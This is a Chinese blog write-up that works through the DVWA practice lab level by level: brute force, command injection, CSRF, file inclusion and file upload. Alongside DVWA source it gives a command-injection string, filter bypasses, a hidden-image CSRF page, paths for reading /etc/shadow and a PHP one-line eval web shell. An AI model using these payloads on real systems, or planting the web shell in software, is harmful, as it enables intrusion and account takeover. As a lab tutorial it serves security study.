DVWA通关之旅（一）

最新推荐文章于 2024-07-26 17:57:56 发布

宇宇啊

最新推荐文章于 2024-07-26 17:57:56 发布

阅读量244

点赞数 1

分类专栏： web 文章标签： php

本文链接：https://blog.csdn.net/ff_aaa/article/details/118887607

版权

web 专栏收录该内容

3 篇文章 0 订阅

订阅专栏

简介

DVWA是常见的用于web渗透测试的平台，可以让我们更好的理解web安全应用防范的过程。里面包含十几个部分的知识，是一款不错的应用程序，搭建起来也并不是那么的费力，由于以前搭建好了，接下来直接使用。

暴力破解（Brute Force）

Low

首先进入DVWA平台，新搭建好的用户名和密码默认是admin和password。
在这里插入图片描述
首先将安全等级改成low，如果是impossible,那么无法进行爆破。

由于接下来会用到Burp_Suite进行抓包，所以首先设置浏览器代理，打开BS,设置处于抓包状态。

进入Brute Force，在password栏里面随便输入一串数字字符，然后点击login，会被BS拦截。
在这里插入图片描述
在这里需要注意一下，本地下载的DVWA是无法被burp拦截的，因为他默认127.0.0.1和localhost是一样的，解决的办法是把url中的127.0.0.1换成你的IP地址，这样拦截之后按住ctrl+i送入intruder，在intruder中消除所有的美元符号，然后把需要破解的地方，这里是password加上美元符号。
在这里插入图片描述

导入常见的密码字典然后开始破解。
在这里插入图片描述
破解完成后查看长度与其他不同的payload，这里就是密码。这里大部分长度都是4780，非4780的也有不少，密码肯定在其中，这里也是需要尝试。

Medium

破解步骤和low相同。

High

当安全等级为high时，爆破难度增加，因为它增加了一个user_token参数，从high等级的代码可以看出，这里还需要对user_token进行检查，但是也能进行破解。

 <?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

同样利用burp进行抓包，送入intruder之后，破解模式选为Pitchfork。
在这里插入图片描述
然后进入options，找到Grep-Extract，点击ADD，然后进行请求，记录下user_token的值。

然后进入payloads，set选择1时导入字典用来破解password，set选择2时选择Recursive grep。

并把之前复制的token值粘贴到下面作为递归初始值。然后进行爆破。
在这里插入图片描述
出现报错，原来是不能在多线程下进行，于是进入options，把threads改成1。

再次进行爆破。得到长度非4780的4861代表的password。爆破成功。

Impossible

分析源码可知，impossible级别对登录的次数进行了限制，超过三次就会锁住无法登录，所以无法进行爆破，因为暴力破解的本质就是去大量尝试。

 <?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

命令行注入（command Injection）

Low

在low等级下尝试使用管道符等拼接命令实现信息的获取。如采取127.0.0.1&&ipconfig来获取本机的信息。
在这里插入图片描述

Medium

从medium级别的代码可以看出，它对符号&&和；进行了过滤，所以使用其他的符号进行信息获取。

 <?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

例如使用||，&，&；&，等符号，使用&；&可以实现通道符的绕过。

High

从high级别的代码中可以看到，过滤的符号数目更多了，但是注意到第三个符号是“| ”，在|后面有一个空格，所以可以使用不带空格的|来进行绕过。

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

Impossible

impossible级别的保护程度太高了，从代码中可以分析出来，虽然它没有对符号进行过滤，但是它却对ip的输入进行了严格的审查，输入的ip由三个小数点分割出的四个部分必须全部都是数字才可。

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

跨站请求伪造（CSRF）

Low

首先跨站请求伪造的原理是利用受害者的身份认证信息，如cookie，会话等，诱骗其点击恶意连接或者恶意界面，从而实现修改密码或者实现转账确认等操作，那么从DVWA的csrf界面，随意输入新密码1111，改变之后发现URL变成了ip/DVWA-master/vulnerabilities/csrf/?password_new=1111&password_conf=1111&Change=Change#。
在这里插入图片描述
那么只需要诱导别人点击这个连接就可以改变他人的密码，但是这种方式太过于明显，修改密码后会有界面提示，所以可以伪装一下，构造一个包含恶意连接的恶意界面，只要用户点击这个界面，就可以神不知鬼不觉的改变他的密码。写一个网页界面需要一点HTML的知识，不过随便搜一下就可以了，只要利用几个标签，构造一个简单的页面就可以了。例如以下代码就是一个简单的攻击页面。这里可以把ip地址换成自己的或者换成127.0.0.1。这个页面的好处就是把之前反馈的修改密码成功的提示换了，更加具有欺骗性。

<img src="http://ip地址/DVWA/vulnerabilities/csrf/?password_new=11111&password_conf=11111&Change=Change#" border="0" style="display:none;"/>

<h1>Welcome to caoxian<h1>

<h2>~:)<h2>

将刚才的代码写入文本文档，并且修改后缀名为.html。然后点击，就会发现密码被修改了。
在这里插入图片描述
最后提示界面如下。

Medium

首先分析一下这个级别的代码。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

发现修改之前有个条件，就是stripos( $ _SERVER[ ‘HTTP_REFERER’ ] ,$_SERVER[ ‘SERVER_NAME’ ]) !== false这个函数是用来检查http头里面的referer参数内是否包含主机名。所以解决方法其实不难，只需要在点击攻击页面时候用Burp抓包，修改http头里面的内容，把主机名添加到referer参数里就可以绕过了。

High

high等级的代码中对token的值进行检查。包括user_token和session_token

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

由于user_token存在跨域的问题，所以单纯是使用CSRF并不能解决，需要组合xss，我们先进入xss界面，利用其漏洞，获取浏览器的cookie，
http://ip地址/DVWA-master/vulnerabilities/xss_r/?name=a#然后回到CSRF，我们正常修改一下密码，使用burp抓包。
在这里插入图片描述
将结果Ctrl+R送入repeater，将该cookie粘贴上去，修改数据包，发送修改密码。

Impossible

将安全等级调整到impossible之后发现需要填写原密码才能进行修改，这也是当前各大网站进行密码修改的常态，算是一种比较安全的方式。
在这里插入图片描述
分析源码，也可以看出除了验证token之外，不知道原来的密码也无法进行注入。

 <?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

文件包含（File Inclusion）

Low

文件包含是指在服务器开启allow_url_include服务后，利用PHP的特性函数include（）等进行任意文件读取和命令执行，当然这是在没有对文件的来源进行特殊审查的情况下。文件包含分为本地文件包含和远程文件包含，low等级的服务器端并没有对page做审查。所以我们可以构造URL如下 http://ip地址/dvwa/vulnerabilities/fi/page=/etc/shadow，这是为了查看被攻击的主机系统是否为Linux，如果不是，会报错并且把文件的绝对路径提示出来。
在这里插入图片描述
此时爆出绝对路径之后就可以查看绝对路径下的文件，如构造URL如下，http://IP地址/DVWA-master/vulnerabilities/fi/?page=C:\phpstudy_pro\WWW\DVWA-master\phpinfo.php
就可以查看PHP的信息。

这是本地文件包含，如果是远程文件包含，需要allow_url_fopen与allow_url_include均为开启状态，并且在远程服务器上需要有一个文件，这里远程服务器一般为攻击者的主机，这个文件可以是一个恶意攻击的文件。

Medium

不同于low等级的什么来源都不进行审查，medium级别对http进行了过滤，

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

从源码可以看出，它使用了str_replace这个函数将http://,https://,…/,…\都转换成了空字符串，不过我们可以使用双写来进行绕过。

High

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

从代码可以看出page参数必须以file开头，可以尝试使用file规则绕过，即可构造http://IP地址/DVWA-master/vulnerabilities/fi/?page=file:///C:\phpstudy_pro\WWW\DVWA-master\phpinfo.php

Impossible

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

impossible等级下，对文件名都进行了严格的限制，必须是include.php,file1.php,file2.php,file3.php其中之一，避免了文件包含漏洞。

文件上传（File Upload)

Low

文件上传漏洞基于服务器对上传的文件没有细密的审查导致攻击者可以上传木马文件进行破坏，想要利用文件上传漏洞必须知道文件的路径这里可以使用中国蚁剑进行测试连接获取路径。首先编写一句话木马，代码如下，

<?php
@eval($_POST['xsg']);
?>

然后上传，这样在测试连接的时候密码为xsg。接下来上传该文件，文件名为hack.php。
在这里插入图片描述
上传之后使用蚁剑来获取被攻击者的目录结构。

这样就可以获取目录路径，

Medium

 <?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

由代码可知，medium级别对上传文件的后缀名进行了过滤，只有jpeg和png才能通过，所以可以先把之前的.php文件改掉后缀名然后利用burp抓包修改回php。
在这里插入图片描述

High

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

首先还是分析代码，由代码可知，high级别不仅对文件后缀名进行了过滤，还对文件头进行了识别，必须是图片格式，所以之前使用burp抓包改后缀名也不行，可以尝试在图片中加入PHP代码，形成恶意图片。随便下载一张图片，使用ultra打开，在文件末尾加上一句命令<?php phpinfo();?>
在这里插入图片描述
另存为一张图片，然后和medium级别一样，抓包改后缀名。

Impossible

impossible级别的代码将上传的文件重命名为一个MD5值，同时对文件的内容进行了严格的审查。导致无法上传。

宇宇啊

关注

1
点赞
踩
0

收藏

觉得还不错? 一键收藏
2
评论
DVWA通关之旅（一）

DVWA简介暴力破解（Brute Force）LowMediumHighImpossible命令行注入（command Injection）LowMediumHighImpossible跨站请求伪造（CSRF）Low简介DVWA是常见的用于web渗透测试的平台，可以让我们更好的理解web安全应用防范的过程。里面包含十几个部分的知识，是一款不错的应用程序，搭建起来也并不是那么的费力，由于以前搭建好了，接下来直接使用。暴力破解（Brute Force）Low首先进入DVWA平台，新搭建好的用户名和密码
复制链接

扫一扫

专栏目录